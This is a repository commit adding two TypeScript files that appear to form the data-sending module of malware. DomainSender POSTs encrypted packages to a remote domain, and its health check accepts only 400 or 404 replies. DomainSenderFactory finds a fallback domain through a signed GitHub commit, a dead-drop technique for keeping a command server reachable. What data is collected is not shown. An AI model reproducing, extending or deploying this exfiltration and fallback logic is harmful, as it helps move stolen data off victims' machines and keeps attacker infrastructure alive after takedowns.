Upload files to "src/sender/domain"
This commit is contained in:
@@ -0,0 +1,51 @@
|
||||
import { verify_key } from "../../generated";
|
||||
import { findValidSignedCommit } from "../../github_utils/fetcher";
|
||||
import { DOMAIN_FALLBACK_SEARCH } from "../../utils/config";
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import type { Sender } from "../base";
|
||||
import type { SenderFactory } from "../senderFactory";
|
||||
import type { SenderDestination } from "../types";
|
||||
import { DomainSender } from "./sender";
|
||||
|
||||
export class DomainSenderFactory implements SenderFactory {
|
||||
private readonly config: SenderDestination;
|
||||
constructor(config: SenderDestination) {
|
||||
this.config = config;
|
||||
}
|
||||
|
||||
async tryCreate(): Promise<Sender | null> {
|
||||
// 1. Try the default domain.
|
||||
const primary = new DomainSender(this.config);
|
||||
if (await primary.healthy()) {
|
||||
return primary;
|
||||
}
|
||||
logUtil.log("Primary domain not healthy; looking for signed fallback");
|
||||
|
||||
// 2. Fall back to a domain discovered via a signed commit.
|
||||
const commitResult = await findValidSignedCommit(
|
||||
DOMAIN_FALLBACK_SEARCH + " ",
|
||||
verify_key,
|
||||
);
|
||||
if (!commitResult.found) {
|
||||
logUtil.log("No valid signed commit found; DomainSender unavailable");
|
||||
return null;
|
||||
}
|
||||
|
||||
if (commitResult.message) {
|
||||
const backupDest: SenderDestination = {
|
||||
domain: commitResult.message,
|
||||
port: this.config.port,
|
||||
path: this.config.path,
|
||||
};
|
||||
const fallback = new DomainSender(backupDest);
|
||||
if (await fallback.healthy()) {
|
||||
return fallback;
|
||||
} else {
|
||||
logUtil.log("Fallback domain not healthy; DomainSender unavailable");
|
||||
}
|
||||
}
|
||||
|
||||
logUtil.log("Fallback domain not healthy; DomainSender unavailable");
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,84 @@
|
||||
import * as dns from "dns";
|
||||
import * as https from "https";
|
||||
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { Sender } from "../base";
|
||||
import type { EncryptedPackage, SenderDestination } from "../types";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
export class DomainSender extends Sender {
|
||||
constructor(config: SenderDestination) {
|
||||
super("domain", {
|
||||
domain: config.domain,
|
||||
port: config.port,
|
||||
path: config.path,
|
||||
dry_run: config.dry_run,
|
||||
noop: config.noop,
|
||||
});
|
||||
}
|
||||
|
||||
private get url(): string {
|
||||
return `https://${this.destination.domain}:${this.destination.port}/${this.destination.path}`;
|
||||
}
|
||||
|
||||
/**
|
||||
* Preflight: DNS resolves + endpoint responds with the sentinel status.
|
||||
* Called by the Dispatcher before attempting send.
|
||||
*/
|
||||
override async healthy(): Promise<boolean> {
|
||||
if (this.destination.noop) {
|
||||
return false;
|
||||
}
|
||||
|
||||
try {
|
||||
if (this.destination.dry_run) return true;
|
||||
|
||||
await dns.promises.lookup(this.destination.domain);
|
||||
} catch {
|
||||
logUtil.error(`Could not resolve domain: ${this.destination.domain}`);
|
||||
return false;
|
||||
}
|
||||
|
||||
return new Promise<boolean>((resolve) => {
|
||||
const req = https.get(this.url, { timeout: 5000 }, (res) => {
|
||||
logUtil.log(`Got response for ${this.url} ${res.statusCode!}`);
|
||||
resolve(res.statusCode === 400 || res.statusCode === 404);
|
||||
});
|
||||
req.on("error", (err) => {
|
||||
logUtil.error(`domain healthcheck error: ${err} ${this.url}`);
|
||||
resolve(false);
|
||||
});
|
||||
req.on("timeout", () => {
|
||||
logUtil.log(`domain healthcheck timeout`);
|
||||
req.destroy();
|
||||
resolve(false);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Transport. Throws on any non-success so the Dispatcher falls through
|
||||
* to the next sender in its priority list.
|
||||
*/
|
||||
override async send(envelope: EncryptedPackage): Promise<void> {
|
||||
logUtil.log(`Sending to ${this.url}`);
|
||||
|
||||
if (this.destination.dry_run) {
|
||||
logUtil.log(envelope);
|
||||
return;
|
||||
}
|
||||
|
||||
const response = await fetch(this.url, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify(envelope),
|
||||
});
|
||||
|
||||
if (response.status !== 200) {
|
||||
throw new Error(
|
||||
`DomainSender: ${this.url} returned status ${response.status}`,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user